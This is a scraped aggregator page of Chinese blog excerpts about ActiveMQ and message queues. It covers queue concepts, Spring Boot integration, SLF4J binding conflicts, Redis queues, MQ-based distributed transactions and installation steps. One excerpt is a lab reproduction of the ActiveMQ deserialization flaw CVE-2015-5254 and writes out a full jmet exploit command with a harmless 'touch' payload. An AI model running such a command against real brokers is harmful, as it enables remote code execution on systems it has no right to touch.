activemq

消息队列及常见消息队列介绍

怎甘沉沦 提交于 2019-11-27 02:49:39
一、消息队列(MQ)概述 消息队列(Message Queue),是分布式系统中重要的组件,其通用的使用场景可以简单地描述为: 当不需要立即获得结果,但是并发量又需要进行控制的时候,差不多就是需要使用消息队列的时候。 消息队列主要解决了应用耦合、异步处理、流量削锋等问题。 当前使用较多的消息队列有RabbitMQ、RocketMQ、ActiveMQ、Kafka、ZeroMQ、MetaMq等,而部分数据库如Redis、Mysql以及phxsql也可实现消息队列的功能。 二、消息队列使用场景 消息队列在实际应用中包括如下四个场景: 应用耦合:多应用间通过消息队列对同一消息进行处理,避免调用接口失败导致整个过程失败; 异步处理:多应用对消息队列中同一消息进行处理,应用间并发处理消息,相比串行处理,减少处理时间; 限流削峰:广泛应用于秒杀或抢购活动中,避免流量过大导致应用系统挂掉的情况; 消息驱动的系统:系统分为消息队列、消息生产者、消息消费者,生产者负责产生消息,消费者(可能有多个)负责对消息进行处理; 下面详细介绍上述四个场景以及消息队列如何在上述四个场景中使用: 2.1 异步处理 具体场景:用户为了使用某个应用,进行注册,系统需要发送注册邮件并验证短信。对这两个操作的处理方式有两种:串行及并行。 (1)串行方式:新注册信息生成后,先发送注册邮件,再发送验证短信; 在这种方式下

ActiveMQ 反序列化漏洞(CVE-2015-5254)

…衆ロ難τιáo~ 提交于 2019-11-27 02:34:42
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.245.130 61616 未创建 查看,点击消息列队,需登录 http://192.168.245.130:8161/admin/browse.jsp?JMSDestination=event 成功 模仿自: https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md 来源: https://www.cnblogs.com/mrhonest/p/11338697.html

spring boot框架学习12-spring boot整合active mq方法1

情到浓时终转凉″ 提交于 2019-11-27 01:32:28
本章节主要内容: 主要从以下几个方面讲解: mybatis和spring boot整合、redis(单机版)和spring boot整合、redis(集群)和spring boot整合、httpclient和spring boot整合、rabbitMQ/active MQ和spring boot整合。 欢迎关注凯哥公众号:凯哥Java(kaigejava) 凯哥个人博客:www.kaigejava.com 本节主要内容: 1:spring boot整合active mq方案一 方案一是简单的,生产者和消费者都在同一个应用项目中。 一:active mq相关 1:active mq下载: 2:启动 在bin文件夹下有64和32位找到自己系统响应的文件夹打开。凯哥使用的是64位的 双击activemq.bat批处理就启动了。 启动如下图: 二:spring boot中应用active mq 2.1:在pom.xml文件中添加mq相关的依赖。 <!-- actionMQ相关的 start --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-activemq</artifactId> </dependency> <!-- 如果此处设置为true

multiple SLF4J bindings Error with activemq-all-5.6.0.jar

两盒软妹~` 提交于 2019-11-26 22:53:11
问题 When I upgrade to activemq-all-5.6.0 I get this error during server startup SLF4J: Class path contains multiple SLF4J bindings I don't have this issue when using activemq-all-5.5.1 On checking I do find that there StaticLoggerBinder.class in both activemq-all-5.6.0.jar and slf4j-log4j12-1.5.10.jar which is causing the issue Please do help in debugging this issue My pom.xml is as follows <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.5.10</version> <

Redis 面试知识点笔记(五)如何通过Redis 实现异步队列

早过忘川 提交于 2019-11-26 18:34:56
问:如何使用redis做异步队列 1.使用List作为队列,rpush生产消息,lpop消费消息 缺点:没有等待队列里有值就立刻消费 弥补:可以通过在应用层sleep机制去调用lpop重试 2.BLPOP key [key ...] timeout 阻塞直到队列有消息或者超时 这个方法缺点是只能为一个消费者提供消费! 3.pub/sub 主题发布订阅者模式(最常用) 注意:pub/sub是无状态的,不能保证消息是否可达,消息发出去就不管了,如果消费者没收到消息也不会有补偿机制。 想弥补这个缺点只有使用专业的mq(activemq,robbitmq,rocketmq,kafka,具体区别自行百度了) 来源: oschina 链接: https://my.oschina.net/u/170156/blog/3048776

Activemq will not start on my Ubuntu VM

时光怂恿深爱的人放手 提交于 2019-11-26 18:34:40
问题 I'm trying to run activemq on my ubuntu virtual machine but have constantly been running into issues getting it to start up. I've tried downloading the binary and source with no luck. Currently I have downloaded the source, run "mvn clean install -Dmaven.test.skip=true" and mvn reported successful installation. I then hunted around in my .m2 folder found apache-activemq-5.5.1-bin.tar.gz and extracted it to my home/USERNAME dir and attempted to run "bash bin/activemq start" only to receive the

3种使用MQ实现分布式事务的方式

穿精又带淫゛_ 提交于 2019-11-26 18:14:46
1.保证消息传递与一致性 1.1生产者确保消息自主性 当生产者发送一条消息时,它必须完成他的所有业务操作。 如下图: 这保证消费者接受到消息时,生产者已处理完毕相关业务,也就是1PC的基础。 1.2 MQ保存并转发消息 消息标记为持久化,MQ将会利用保存并转发机制,来履行它与发送者之间的契约。 至于activemq高可用部分,详见另外一篇blog: https://my.oschina.net/floor/blog/1574213 一般MQ保存并转发的流程如下: 1.3消费者确认模式的选择 JMS提供的3中模式: auto_acknowledge: 消费者接收到消息后,立即自动向MQ发送确认消息。 dups_ok_acknowledge 一条消息可以被多次消费,为了确保“一次且仅仅一次发送语义”。影响MQ性能。 client_acknowledge client端确认模式,手动确认消息已消费。 我是如何选择的: dups_ok_acknowledge首先被排除,是因为它影响MQ的性能,我公司使用的activemq的性能本就一般,所以没有选择。 client_acknowledge 需要程序员编码确认消息被消费,可能存在1条消息很久没有消费掉,MQ堵住的情况,所以没有选择。 我们最终选择了auto_acknowledge ,原因是SImple is best。至于各位如何选择

springboot 整合 ActiveMQ

此生再无相见时 提交于 2019-11-26 17:23:19
springboot 整合 ActiveMQ pom 坐标 <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.6.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> <properties> <java.version>1.8</java.version> </properties> <dependencies> <!-- 整合 activemq --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-activemq</artifactId> </dependency> <!-- 这里我使用的是测试发送消息 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> </dependency> <

activemq安装

谁说胖子不能爱 提交于 2019-11-26 17:13:14
1.1、filezilla下载一 1.2、 下载二 在Linux中直接用wget + url 2、 解压 tar - zxvf 包名 - C 解压到的目标路劲 3、进入activemq中的bin目录,启动activemq . / activemq start 关闭服务 . / activemq stop 4、验证 ps - ef | grep activemq 登录 port : 8161 初始化账户密码:admin admin 来源: https://blog.csdn.net/qq_42614414/article/details/98766578

ActiveMQ 安装

让人想犯罪 __ 提交于 2019-11-26 16:36:45
ActiveMQ 安装 下载 ActiveMQ https://activemq.apache.org/download-archives http://archive.apache.org/dist/ 入门文档 https://activemq.apache.org/getting-started 版本选择 apache-activemq-5.0.0 1.5.0_12 1.5+ apache-activemq-5.1.0 1.5.0_12 1.5+ apache-activemq-5.2.0 1.5.0_15 1.5+ apache-activemq-5.3.0 1.5.0_17 1.5+ apache-activemq-5.4.0 1.5.0_19 1.5+ apache-activemq-5.5.0 1.6.0_23 1.6+ apache-activemq-5.6.0 1.6.0_26 1.6+ apache-activemq-5.7.0 1.6.0_33 1.6+ apache-activemq-5.8.0 1.6.0_37 1.6+ apache-activemq-5.9.0 1.6.0_51 1.6+ apache-activemq-5.10.0 1.7.0_12-ea 1.7+ apache-activemq-5.11.0 1.7.0_60 1.7+ apache